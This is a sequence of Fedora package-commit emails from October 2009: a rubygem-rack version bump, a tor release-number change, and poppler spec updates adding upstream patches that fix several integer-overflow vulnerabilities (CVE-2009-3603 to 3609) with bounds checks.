retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- import.log	26 Apr 2009 19:55:59 -0000	1.3
+++ import.log	25 Oct 2009 21:56:27 -0000	1.4
@@ -1,3 +1,4 @@
 rubygem-rack-0_4_0-2_fc10:HEAD:rubygem-rack-0.4.0-2.fc10.src.rpm:1228230958
 rubygem-rack-0_9_1-1_fc10:HEAD:rubygem-rack-0.9.1-1.fc10.src.rpm:1237203146
 rubygem-rack-1_0_0-1_fc11:HEAD:rubygem-rack-1.0.0-1.fc11.src.rpm:1240775742
+rubygem-rack-1_0_1-1_fc12:F-12:rubygem-rack-1.0.1-1.fc12.src.rpm:1256507768


Index: rubygem-rack.spec
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-rack/F-12/rubygem-rack.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- rubygem-rack.spec	27 Jul 2009 03:34:48 -0000	1.5
+++ rubygem-rack.spec	25 Oct 2009 21:56:27 -0000	1.6
@@ -4,8 +4,8 @@
 
 Name:           rubygem-%{gemname}
 Summary:        Common API for connecting web frameworks, web servers and layers of software
-Version:        1.0.0
-Release:        2%{?dist}
+Version:        1.0.1
+Release:        1%{?dist}
 Group:          Development/Languages
 License:        MIT
 URL:            http://rubyforge.org/projects/%{gemname}/
@@ -83,6 +83,9 @@ rm -rf %{buildroot}
 %{gemdir}/specifications/%{gemname}-%{version}.gemspec
 
 %changelog
+* Sun Oct 25 2009 Jeroen van Meeuwen <kanarip at kanarip.com> - 1.0.1-1
+- New upstream version
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.0.0-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-rack/F-12/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	26 Apr 2009 19:55:59 -0000	1.4
+++ sources	25 Oct 2009 21:56:27 -0000	1.5
@@ -1 +1 @@
-014e29fa0aad84dd0fb4fc9707be7b8a  rack-1.0.0.gem
+22268803c9b8b785ed30fcee5bce3ce7  rack-1.0.1.gem



From kanarip at fedoraproject.org  Sun Oct 25 21:57:05 2009
From: kanarip at fedoraproject.org (Jeroen van Meeuwen)
Date: Sun, 25 Oct 2009 21:57:05 +0000 (UTC)
Subject: rpms/rubygem-rack/devel .cvsignore, 1.4, 1.5 import.log, 1.3,
	1.4 rubygem-rack.spec, 1.5, 1.6 sources, 1.4, 1.5
Message-ID: <20091025215705.7391011C00E5@cvs1.fedora.phx.redhat.com>

Author: kanarip

Update of /cvs/pkgs/rpms/rubygem-rack/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22866/devel

Modified Files:
	.cvsignore import.log rubygem-rack.spec sources 
Log Message:
1.0.1-1


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-rack/devel/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	26 Apr 2009 19:55:59 -0000	1.4
+++ .cvsignore	25 Oct 2009 21:57:04 -0000	1.5
@@ -1 +1 @@
-rack-1.0.0.gem
+rack-1.0.1.gem


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-rack/devel/import.log,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- import.log	26 Apr 2009 19:55:59 -0000	1.3
+++ import.log	25 Oct 2009 21:57:05 -0000	1.4
@@ -1,3 +1,4 @@
 rubygem-rack-0_4_0-2_fc10:HEAD:rubygem-rack-0.4.0-2.fc10.src.rpm:1228230958
 rubygem-rack-0_9_1-1_fc10:HEAD:rubygem-rack-0.9.1-1.fc10.src.rpm:1237203146
 rubygem-rack-1_0_0-1_fc11:HEAD:rubygem-rack-1.0.0-1.fc11.src.rpm:1240775742
+rubygem-rack-1_0_1-1_fc12:HEAD:rubygem-rack-1.0.1-1.fc12.src.rpm:1256507811


Index: rubygem-rack.spec
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-rack/devel/rubygem-rack.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- rubygem-rack.spec	27 Jul 2009 03:34:48 -0000	1.5
+++ rubygem-rack.spec	25 Oct 2009 21:57:05 -0000	1.6
@@ -4,8 +4,8 @@
 
 Name:           rubygem-%{gemname}
 Summary:        Common API for connecting web frameworks, web servers and layers of software
-Version:        1.0.0
-Release:        2%{?dist}
+Version:        1.0.1
+Release:        1%{?dist}
 Group:          Development/Languages
 License:        MIT
 URL:            http://rubyforge.org/projects/%{gemname}/
@@ -83,6 +83,9 @@ rm -rf %{buildroot}
 %{gemdir}/specifications/%{gemname}-%{version}.gemspec
 
 %changelog
+* Sun Oct 25 2009 Jeroen van Meeuwen <kanarip at kanarip.com> - 1.0.1-1
+- New upstream version
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.0.0-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-rack/devel/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	26 Apr 2009 19:55:59 -0000	1.4
+++ sources	25 Oct 2009 21:57:05 -0000	1.5
@@ -1 +1 @@
-014e29fa0aad84dd0fb4fc9707be7b8a  rack-1.0.0.gem
+22268803c9b8b785ed30fcee5bce3ce7  rack-1.0.1.gem



From rdieter at fedoraproject.org  Sun Oct 25 22:09:41 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Sun, 25 Oct 2009 22:09:41 +0000 (UTC)
Subject: rpms/poppler/devel poppler-0.12.1-CVE-2009-3607.patch, NONE,
	1.1 poppler.spec, 1.103, 1.104
Message-ID: <20091025220941.2F2E611C00E5@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/poppler/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28418/devel

Modified Files:
	poppler.spec 
Added Files:
	poppler-0.12.1-CVE-2009-3607.patch 
Log Message:
* Sun Oct 25 2009 Rex Dieter <rdieter at fedoraproject.org> - 0.12.1-2
- CVE-2009-3607 (#530890)


poppler-0.12.1-CVE-2009-3607.patch:
 poppler-page.cc |   20 ++++++++++----------
 1 file changed, 10 insertions(+), 10 deletions(-)

--- NEW FILE poppler-0.12.1-CVE-2009-3607.patch ---
http://cgit.freedesktop.org/poppler/poppler/commit/?id=c839b70609

CVE-2009-3607

diff -pruN poppler-0.12.1.orig/glib/poppler-page.cc poppler-0.12.1/glib/poppler-page.cc
--- poppler-0.12.1.orig/glib/poppler-page.cc	2009-09-09 23:22:31.000000000 +0200
+++ poppler-0.12.1/glib/poppler-page.cc	2009-10-25 18:54:30.000000000 +0100
@@ -609,28 +609,28 @@ create_surface_from_thumbnail_data (guch
 				    gint    rowstride)
 {
   guchar *cairo_pixels;
+  gint cairo_stride;
   cairo_surface_t *surface;
-  static cairo_user_data_key_t key;
   int j;
 
-  cairo_pixels = (guchar *)g_malloc (4 * width * height);
-  surface = cairo_image_surface_create_for_data ((unsigned char *)cairo_pixels,
-						 CAIRO_FORMAT_RGB24,
-						 width, height, 4 * width);
-  cairo_surface_set_user_data (surface, &key,
-			       cairo_pixels, (cairo_destroy_func_t)g_free);
+  surface = cairo_image_surface_create (CAIRO_FORMAT_RGB24, width, height);
+  if (cairo_surface_status (surface))
+    return NULL;
+
+  cairo_pixels = cairo_image_surface_get_data (surface);
+  cairo_stride = cairo_image_surface_get_stride (surface);
 
   for (j = height; j; j--) {
     guchar *p = data;
     guchar *q = cairo_pixels;
     guchar *end = p + 3 * width;
-	  
+
     while (p < end) {
 #if G_BYTE_ORDER == G_LITTLE_ENDIAN
       q[0] = p[2];
       q[1] = p[1];
       q[2] = p[0];
-#else	  
+#else
       q[1] = p[0];
       q[2] = p[1];
       q[3] = p[2];
@@ -640,7 +640,7 @@ create_surface_from_thumbnail_data (guch
     }
 
     data += rowstride;
-    cairo_pixels += 4 * width;
+    cairo_pixels += cairo_stride;
   }
 
   return surface;


Index: poppler.spec
===================================================================
RCS file: /cvs/pkgs/rpms/poppler/devel/poppler.spec,v
retrieving revision 1.103
retrieving revision 1.104
diff -u -p -r1.103 -r1.104
--- poppler.spec	19 Oct 2009 14:38:06 -0000	1.103
+++ poppler.spec	25 Oct 2009 22:09:40 -0000	1.104
@@ -2,7 +2,7 @@
 Summary: PDF rendering library
 Name: poppler
 Version: 0.12.1
-Release: 1%{?dist}
+Release: 2%{?dist}
 License: GPLv2
 Group: Development/Libraries
 URL:     http://poppler.freedesktop.org/
@@ -10,9 +10,14 @@ Source0: http://poppler.freedesktop.org/
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 ## upstreamable patches
+
+## upstream patches
 # for texlive/pdftex, make ObjStream class public
 Patch100: poppler-0.12.1-objstream.patch
 
+# CVE-2009-3607 / c839b70609
+Patch162: poppler-0.12.1-CVE-2009-3607.patch
+
 BuildRequires: automake libtool
 BuildRequires: cairo-devel >= 1.8.4
 BuildRequires: gtk2-devel
@@ -116,6 +121,7 @@ converting PDF files to a number of othe
 %setup -q 
 
 %patch100 -p1 -b .objstream
+%patch162 -p1 -b .CVE-2009-3607
 
 # hammer to nuke rpaths, recheck on new releases
 autoreconf -i -f
@@ -214,6 +220,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sun Oct 25 2009 Rex Dieter <rdieter at fedoraproject.org> - 0.12.1-2
+- CVE-2009-3607 (#530890)
+
 * Mon Oct 19 2009 Rex Dieter <rdieter at fedoraproject.org> - 0.12.1-1
 - poppler-0.12.1
 - deprecate xpdf/pdftohtml Conflicts/Obsoletes



From rdieter at fedoraproject.org  Sun Oct 25 22:09:41 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Sun, 25 Oct 2009 22:09:41 +0000 (UTC)
Subject: rpms/poppler/F-12 poppler-0.12.1-CVE-2009-3607.patch, NONE,
	1.1 poppler.spec, 1.103, 1.104
Message-ID: <20091025220941.849ED11C00E5@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/poppler/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28418/F-12

Modified Files:
	poppler.spec 
Added Files:
	poppler-0.12.1-CVE-2009-3607.patch 
Log Message:
* Sun Oct 25 2009 Rex Dieter <rdieter at fedoraproject.org> - 0.12.1-2
- CVE-2009-3607 (#530890)


poppler-0.12.1-CVE-2009-3607.patch:
 poppler-page.cc |   20 ++++++++++----------
 1 file changed, 10 insertions(+), 10 deletions(-)

--- NEW FILE poppler-0.12.1-CVE-2009-3607.patch ---
http://cgit.freedesktop.org/poppler/poppler/commit/?id=c839b70609

CVE-2009-3607

diff -pruN poppler-0.12.1.orig/glib/poppler-page.cc poppler-0.12.1/glib/poppler-page.cc
--- poppler-0.12.1.orig/glib/poppler-page.cc	2009-09-09 23:22:31.000000000 +0200
+++ poppler-0.12.1/glib/poppler-page.cc	2009-10-25 18:54:30.000000000 +0100
@@ -609,28 +609,28 @@ create_surface_from_thumbnail_data (guch
 				    gint    rowstride)
 {
   guchar *cairo_pixels;
+  gint cairo_stride;
   cairo_surface_t *surface;
-  static cairo_user_data_key_t key;
   int j;
 
-  cairo_pixels = (guchar *)g_malloc (4 * width * height);
-  surface = cairo_image_surface_create_for_data ((unsigned char *)cairo_pixels,
-						 CAIRO_FORMAT_RGB24,
-						 width, height, 4 * width);
-  cairo_surface_set_user_data (surface, &key,
-			       cairo_pixels, (cairo_destroy_func_t)g_free);
+  surface = cairo_image_surface_create (CAIRO_FORMAT_RGB24, width, height);
+  if (cairo_surface_status (surface))
+    return NULL;
+
+  cairo_pixels = cairo_image_surface_get_data (surface);
+  cairo_stride = cairo_image_surface_get_stride (surface);
 
   for (j = height; j; j--) {
     guchar *p = data;
     guchar *q = cairo_pixels;
     guchar *end = p + 3 * width;
-	  
+
     while (p < end) {
 #if G_BYTE_ORDER == G_LITTLE_ENDIAN
       q[0] = p[2];
       q[1] = p[1];
       q[2] = p[0];
-#else	  
+#else
       q[1] = p[0];
       q[2] = p[1];
       q[3] = p[2];
@@ -640,7 +640,7 @@ create_surface_from_thumbnail_data (guch
     }
 
     data += rowstride;
-    cairo_pixels += 4 * width;
+    cairo_pixels += cairo_stride;
   }
 
   return surface;


Index: poppler.spec
===================================================================
RCS file: /cvs/pkgs/rpms/poppler/F-12/poppler.spec,v
retrieving revision 1.103
retrieving revision 1.104
diff -u -p -r1.103 -r1.104
--- poppler.spec	19 Oct 2009 14:38:58 -0000	1.103
+++ poppler.spec	25 Oct 2009 22:09:41 -0000	1.104
@@ -2,7 +2,7 @@
 Summary: PDF rendering library
 Name: poppler
 Version: 0.12.1
-Release: 1%{?dist}
+Release: 2%{?dist}
 License: GPLv2
 Group: Development/Libraries
 URL:     http://poppler.freedesktop.org/
@@ -10,9 +10,14 @@ Source0: http://poppler.freedesktop.org/
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 ## upstreamable patches
+
+## upstream patches
 # for texlive/pdftex, make ObjStream class public
 Patch100: poppler-0.12.1-objstream.patch
 
+# CVE-2009-3607 / c839b70609
+Patch162: poppler-0.12.1-CVE-2009-3607.patch
+
 BuildRequires: automake libtool
 BuildRequires: cairo-devel >= 1.8.4
 BuildRequires: gtk2-devel
@@ -116,6 +121,7 @@ converting PDF files to a number of othe
 %setup -q 
 
 %patch100 -p1 -b .objstream
+%patch162 -p1 -b .CVE-2009-3607
 
 # hammer to nuke rpaths, recheck on new releases
 autoreconf -i -f
@@ -214,6 +220,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sun Oct 25 2009 Rex Dieter <rdieter at fedoraproject.org> - 0.12.1-2
+- CVE-2009-3607 (#530890)
+
 * Mon Oct 19 2009 Rex Dieter <rdieter at fedoraproject.org> - 0.12.1-1
 - poppler-0.12.1
 - deprecate xpdf/pdftohtml Conflicts/Obsoletes



From ensc at fedoraproject.org  Sun Oct 25 22:21:50 2009
From: ensc at fedoraproject.org (ensc)
Date: Sun, 25 Oct 2009 22:21:50 +0000 (UTC)
Subject: rpms/tor/F-12 tor.spec,1.38,1.39
Message-ID: <20091025222150.CA2B211C00E5@cvs1.fedora.phx.redhat.com>

Author: ensc

Update of /cvs/extras/rpms/tor/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2257

Modified Files:
	tor.spec 
Log Message:
increased release to workaround broken CVS server configuration


Index: tor.spec
===================================================================
RCS file: /cvs/extras/rpms/tor/F-12/tor.spec,v
retrieving revision 1.38
retrieving revision 1.39
diff -u -p -r1.38 -r1.39
--- tor.spec	25 Oct 2009 20:57:10 -0000	1.38
+++ tor.spec	25 Oct 2009 22:21:49 -0000	1.39
@@ -13,7 +13,7 @@
 
 Name:		tor
 Version:	0.2.1.20
-Release:	%release_func 1
+Release:	%release_func 13752354 
 Group:		System Environment/Daemons
 License:	BSD
 Summary:	Anonymizing overlay network for TCP (The onion router)



From rdieter at fedoraproject.org  Sun Oct 25 22:35:47 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Sun, 25 Oct 2009 22:35:47 +0000 (UTC)
Subject: rpms/poppler/F-12 poppler.spec,1.104,1.105
Message-ID: <20091025223547.1B5D511C00E5@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/poppler/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6050/F-12

Modified Files:
	poppler.spec 
Log Message:
flesh out changelog, reference correct bug



Index: poppler.spec
===================================================================
RCS file: /cvs/pkgs/rpms/poppler/F-12/poppler.spec,v
retrieving revision 1.104
retrieving revision 1.105
diff -u -p -r1.104 -r1.105
--- poppler.spec	25 Oct 2009 22:09:41 -0000	1.104
+++ poppler.spec	25 Oct 2009 22:35:45 -0000	1.105
@@ -2,7 +2,7 @@
 Summary: PDF rendering library
 Name: poppler
 Version: 0.12.1
-Release: 2%{?dist}
+Release: 3%{?dist}
 License: GPLv2
 Group: Development/Libraries
 URL:     http://poppler.freedesktop.org/
@@ -220,8 +220,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
-* Sun Oct 25 2009 Rex Dieter <rdieter at fedoraproject.org> - 0.12.1-2
-- CVE-2009-3607 (#530890)
+* Sun Oct 25 2009 Rex Dieter <rdieter at fedoraproject.org> - 0.12.1-3
+- CVE-2009-3607 poppler: create_surface_from_thumbnail_data
+  integer overflow (#526924)
 
 * Mon Oct 19 2009 Rex Dieter <rdieter at fedoraproject.org> - 0.12.1-1
 - poppler-0.12.1



From rdieter at fedoraproject.org  Sun Oct 25 22:35:47 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Sun, 25 Oct 2009 22:35:47 +0000 (UTC)
Subject: rpms/poppler/devel poppler.spec,1.104,1.105
Message-ID: <20091025223547.6789111C00E5@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/poppler/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6050/devel

Modified Files:
	poppler.spec 
Log Message:
flesh out changelog, reference correct bug



Index: poppler.spec
===================================================================
RCS file: /cvs/pkgs/rpms/poppler/devel/poppler.spec,v
retrieving revision 1.104
retrieving revision 1.105
diff -u -p -r1.104 -r1.105
--- poppler.spec	25 Oct 2009 22:09:40 -0000	1.104
+++ poppler.spec	25 Oct 2009 22:35:46 -0000	1.105
@@ -2,7 +2,7 @@
 Summary: PDF rendering library
 Name: poppler
 Version: 0.12.1
-Release: 2%{?dist}
+Release: 3%{?dist}
 License: GPLv2
 Group: Development/Libraries
 URL:     http://poppler.freedesktop.org/
@@ -220,8 +220,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
-* Sun Oct 25 2009 Rex Dieter <rdieter at fedoraproject.org> - 0.12.1-2
-- CVE-2009-3607 (#530890)
+* Sun Oct 25 2009 Rex Dieter <rdieter at fedoraproject.org> - 0.12.1-3
+- CVE-2009-3607 poppler: create_surface_from_thumbnail_data
+  integer overflow (#526924)
 
 * Mon Oct 19 2009 Rex Dieter <rdieter at fedoraproject.org> - 0.12.1-1
 - poppler-0.12.1



From rdieter at fedoraproject.org  Sun Oct 25 22:37:39 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Sun, 25 Oct 2009 22:37:39 +0000 (UTC)
Subject: rpms/poppler/F-11 poppler-0.10.7-CVE-2009-3607.patch, NONE,
	1.1 poppler-0.10.7-CVE-2009-360x.patch, NONE,
	1.1 poppler-0.10.7-gmallocn.patch, NONE, 1.1 poppler.spec, 1.86, 1.87
Message-ID: <20091025223739.A869211C00E5@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/poppler/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6946

Modified Files:
	poppler.spec 
Added Files:
	poppler-0.10.7-CVE-2009-3607.patch 
	poppler-0.10.7-CVE-2009-360x.patch 
	poppler-0.10.7-gmallocn.patch 
Log Message:
* Sun Oct 25 2009 Rex Dieter <rdieter at fedoraproject.org> - 0.10.7-3
- CVE-2009-3603 xpdf/popppler: SplashBitmap::SplashBitmap
  integer overflow (#526915)
- CVE-2009-3604 xpdf/poppler: Splash::drawImage integer overflow
  and missing allocation return value check(#526911)
- CVE-2009-3606 xpdf/poppler: PSOutputDev::doImageL1Sep
  integer overflow (#526877)
- CVE-2009-3607 poppler: create_surface_from_thumbnail_data
  integer overflow (#526924)
- CVE-2009-3608 xpdf/poppler: integer overflow in
  ObjectStream::ObjectStream (#526637)
- CVE-2009-3609 xpdf/poppler: ImageStream::ImageStream
  integer overflow (#526893)


poppler-0.10.7-CVE-2009-3607.patch:
 poppler-page.cc |   20 ++++++++++----------
 1 file changed, 10 insertions(+), 10 deletions(-)

--- NEW FILE poppler-0.10.7-CVE-2009-3607.patch ---
http://cgit.freedesktop.org/poppler/poppler/commit/?id=c839b70609

CVE-2009-3607

diff -pruN poppler-0.10.7.orig/glib/poppler-page.cc poppler-0.10.7/glib/poppler-page.cc
--- poppler-0.10.7.orig/glib/poppler-page.cc	2009-10-25 18:30:05.000000000 +0100
+++ poppler-0.10.7/glib/poppler-page.cc	2009-10-25 18:30:34.000000000 +0100
@@ -575,28 +575,28 @@ create_surface_from_thumbnail_data (guch
 				    gint    rowstride)
 {
   guchar *cairo_pixels;
+  gint cairo_stride;
   cairo_surface_t *surface;
-  static cairo_user_data_key_t key;
   int j;
 
-  cairo_pixels = (guchar *)g_malloc (4 * width * height);
-  surface = cairo_image_surface_create_for_data ((unsigned char *)cairo_pixels,
-						 CAIRO_FORMAT_RGB24,
-						 width, height, 4 * width);
-  cairo_surface_set_user_data (surface, &key,
-			       cairo_pixels, (cairo_destroy_func_t)g_free);
+  surface = cairo_image_surface_create (CAIRO_FORMAT_RGB24, width, height);
+  if (cairo_surface_status (surface))
+    return NULL;
+
+  cairo_pixels = cairo_image_surface_get_data (surface);
+  cairo_stride = cairo_image_surface_get_stride (surface);
 
   for (j = height; j; j--) {
     guchar *p = data;
     guchar *q = cairo_pixels;
     guchar *end = p + 3 * width;
-	  
+
     while (p < end) {
 #if G_BYTE_ORDER == G_LITTLE_ENDIAN
       q[0] = p[2];
       q[1] = p[1];
       q[2] = p[0];
-#else	  
+#else
       q[1] = p[0];
       q[2] = p[1];
       q[3] = p[2];
@@ -606,7 +606,7 @@ create_surface_from_thumbnail_data (guch
     }
 
     data += rowstride;
-    cairo_pixels += 4 * width;
+    cairo_pixels += cairo_stride;
   }
 
   return surface;

poppler-0.10.7-CVE-2009-360x.patch:
 poppler/Stream.cc         |    4 ++++
 poppler/XRef.cc           |   15 ++++++++++++---
 poppler/XRef.h            |    3 +++
 splash/Splash.cc          |    7 +++++++
 splash/SplashBitmap.cc    |   37 ++++++++++++++++++++++++++++++-------
 splash/SplashErrorCodes.h |    4 +++-
 6 files changed, 59 insertions(+), 11 deletions(-)

--- NEW FILE poppler-0.10.7-CVE-2009-360x.patch ---
http://cgit.freedesktop.org/poppler/poppler/commit/?id=1082e1671a

CVE-2009-3603 CVE-2009-3608 CVE-2009-3609

diff -pruN poppler-0.10.7.orig/poppler/Stream.cc poppler-0.10.7/poppler/Stream.cc
--- poppler-0.10.7.orig/poppler/Stream.cc	2009-05-16 17:27:41.000000000 +0200
+++ poppler-0.10.7/poppler/Stream.cc	2009-10-24 20:14:48.000000000 +0200
@@ -403,6 +403,10 @@ ImageStream::ImageStream(Stream *strA, i
   } else {
     imgLineSize = nVals;
   }
+  if (width > INT_MAX / nComps) {
+    // force a call to gmallocn(-1,...), which will throw an exception
+    imgLineSize = -1;
+  }
   imgLine = (Guchar *)gmallocn(imgLineSize, sizeof(Guchar));
   imgIdx = nVals;
 }
diff -pruN poppler-0.10.7.orig/poppler/XRef.cc poppler-0.10.7/poppler/XRef.cc
--- poppler-0.10.7.orig/poppler/XRef.cc	2009-10-24 20:11:45.000000000 +0200
+++ poppler-0.10.7/poppler/XRef.cc	2009-10-24 20:26:33.000000000 +0200
@@ -80,6 +80,7 @@ ObjectStream::ObjectStream(XRef *xref, i
   objs = NULL;
   objNums = NULL;
   offsets = NULL;
+  ok = gFalse;
 
   if (!xref->fetch(objStrNum, 0, &objStr)->isStream()) {
     goto err1;
@@ -106,8 +107,11 @@ ObjectStream::ObjectStream(XRef *xref, i
     goto err1;
   }
 
-  if (nObjects*(int)sizeof(int)/sizeof(int) != nObjects) {
-    error(-1, "Invalid 'nObjects'");
+  // this is an arbitrary limit to avoid integer overflow problems
+  // in the 'new Object[nObjects]' call (Acrobat apparently limits
+  // object streams to 100-200 objects)
+  if (nObjects > 1000000) {
+    error(-1, "Too many objects in an object stream");
     goto err1;
   }
  
@@ -167,10 +171,10 @@ ObjectStream::ObjectStream(XRef *xref, i
   }
 
 //   gfree(offsets);
+  ok = gTrue;
 
  err1:
   objStr.free();
-  return;
 }
 
 ObjectStream::~ObjectStream() {
@@ -948,6 +952,11 @@ Object *XRef::fetch(int num, int gen, Ob
 	delete objStr;
       }
       objStr = new ObjectStream(this, e->offset);
+      if (!objStr->isOk()) {
+	delete objStr;
+	objStr = NULL;
+	goto err;
+      }
     }
     objStr->getObject(e->gen, num, obj);
     break;
diff -pruN poppler-0.10.7.orig/poppler/XRef.h poppler-0.10.7/poppler/XRef.h
--- poppler-0.10.7.orig/poppler/XRef.h	2009-10-24 20:11:45.000000000 +0200
+++ poppler-0.10.7/poppler/XRef.h	2009-10-24 20:27:32.000000000 +0200
@@ -44,6 +44,8 @@ public:
   // generation 0.
   ObjectStream(XRef *xref, int objStrNumA);
 
+  GBool isOk() { return ok; }
+
   ~ObjectStream();
 
   // Return the object number of this object stream.
@@ -64,6 +66,7 @@ private:
   int *objNums;			// the object numbers (length = nObjects)
   int *offsets;			// the object offsets (length = nObjects)
   Guint firstOffset;
+  GBool ok;
 };
 
 
diff -pruN poppler-0.10.7.orig/splash/Splash.cc poppler-0.10.7/splash/Splash.cc
--- poppler-0.10.7.orig/splash/Splash.cc	2009-10-24 20:11:45.000000000 +0200
+++ poppler-0.10.7/splash/Splash.cc	2009-10-24 20:14:48.000000000 +0200
@@ -27,6 +27,7 @@
 
 #include <stdlib.h>
 #include <string.h>
+#include <limits.h>
 #include "goo/gmem.h"
 #include "SplashErrorCodes.h"
 #include "SplashMath.h"
@@ -2001,6 +2002,9 @@ SplashError Splash::fillImageMask(Splash
   xq = w % scaledWidth;
 
   // allocate pixel buffer
+  if (yp < 0 || yp > INT_MAX - 1) {
+    return splashErrBadArg;
+  }
   pixBuf = (SplashColorPtr)gmallocn((yp + 1), w);
 
   // initialize the pixel pipe
@@ -2301,6 +2305,9 @@ SplashError Splash::drawImage(SplashImag
   xq = w % scaledWidth;
 
   // allocate pixel buffers
+  if (yp < 0 || yp > INT_MAX - 1) {
+    return splashErrBadArg;
+  }
   colorBuf = (SplashColorPtr)gmallocn3((yp + 1), w, nComps);
   if (srcAlpha) {
     alphaBuf = (Guchar *)gmallocn((yp + 1), w);
diff -pruN poppler-0.10.7.orig/splash/SplashBitmap.cc poppler-0.10.7/splash/SplashBitmap.cc
--- poppler-0.10.7.orig/splash/SplashBitmap.cc	2009-10-24 20:11:45.000000000 +0200
+++ poppler-0.10.7/splash/SplashBitmap.cc	2009-10-24 20:15:05.000000000 +0200
@@ -26,6 +26,7 @@
 #endif
 
 #include <stdio.h>
+#include <limits.h>
 #include "goo/gmem.h"
 #include "SplashErrorCodes.h"
 #include "SplashBitmap.h"
@@ -42,26 +43,48 @@ SplashBitmap::SplashBitmap(int widthA, i
   mode = modeA;
   switch (mode) {
   case splashModeMono1:
-    rowSize = (width + 7) >> 3;
+    if (width > 0) {
+      rowSize = (width + 7) >> 3;
+    } else {
+      rowSize = -1;
+    }
     break;
   case splashModeMono8:
-    rowSize = width;
+    if (width > 0) {
+      rowSize = width;
+    } else {
+      rowSize = -1;
+    }
     break;
   case splashModeRGB8:
   case splashModeBGR8:
-    rowSize = width * 3;
+    if (width > 0 && width <= INT_MAX / 3) {
+      rowSize = width * 3;
+    } else {
+      rowSize = -1;
+    }
     break;
   case splashModeXBGR8:
-    rowSize = width * 4;
+    if (width > 0 && width <= INT_MAX / 4) {
+      rowSize = width * 4;
+    } else {
+      rowSize = -1;
+    }
     break;
 #if SPLASH_CMYK
   case splashModeCMYK8:
-    rowSize = width * 4;
+    if (width > 0 && width <= INT_MAX / 4) {
+      rowSize = width * 4;
+    } else {
+      rowSize = -1;
+    }
     break;
 #endif
   }
-  rowSize += rowPad - 1;
-  rowSize -= rowSize % rowPad;
+  if (rowSize > 0) {
+    rowSize += rowPad - 1;
+    rowSize -= rowSize % rowPad;
+  }
   data = (SplashColorPtr)gmallocn(rowSize, height);
   if (!topDown) {
     data += (height - 1) * rowSize;
diff -pruN poppler-0.10.7.orig/splash/SplashErrorCodes.h poppler-0.10.7/splash/SplashErrorCodes.h
--- poppler-0.10.7.orig/splash/SplashErrorCodes.h	2009-05-02 14:14:56.000000000 +0200
+++ poppler-0.10.7/splash/SplashErrorCodes.h	2009-10-24 20:14:48.000000000 +0200
@@ -41,6 +41,8 @@
 
 #define splashErrSingularMatrix  8	// matrix is singular
 
-#define splashErrZeroImage       9      // image of 0x0
+#define splashErrBadArg          9      // bad argument
+
+#define splashErrZeroImage     254      // image of 0x0
 
 #endif

poppler-0.10.7-gmallocn.patch:
 glib/poppler-page.cc       |    2 +-
 goo/gmem.cc                |   26 ++++++++++++++++++++++++++
 goo/gmem.h                 |    2 ++
 poppler/ArthurOutputDev.cc |    2 +-
 poppler/CairoOutputDev.cc  |   16 ++++++++--------
 poppler/GfxState.cc        |    8 ++++----
 poppler/PSOutputDev.cc     |    4 ++--
 poppler/SplashOutputDev.cc |   18 +++++++++---------
 splash/Splash.cc           |    6 +++---
 splash/SplashBitmap.cc     |    2 +-
 splash/SplashFTFont.cc     |    2 +-
 11 files changed, 58 insertions(+), 30 deletions(-)

--- NEW FILE poppler-0.10.7-gmallocn.patch ---
http://cgit.freedesktop.org/poppler/poppler/commit/?id=0131f0a01c
http://cgit.freedesktop.org/poppler/poppler/commit/?id=7b2d314a61
http://cgit.freedesktop.org/poppler/poppler/commit/?id=c399b2d512
http://cgit.freedesktop.org/poppler/poppler/commit/?id=9cf2325fb2
http://cgit.freedesktop.org/poppler/poppler/commit/?id=284a928996
http://cgit.freedesktop.org/poppler/poppler/commit/?id=5d328282da

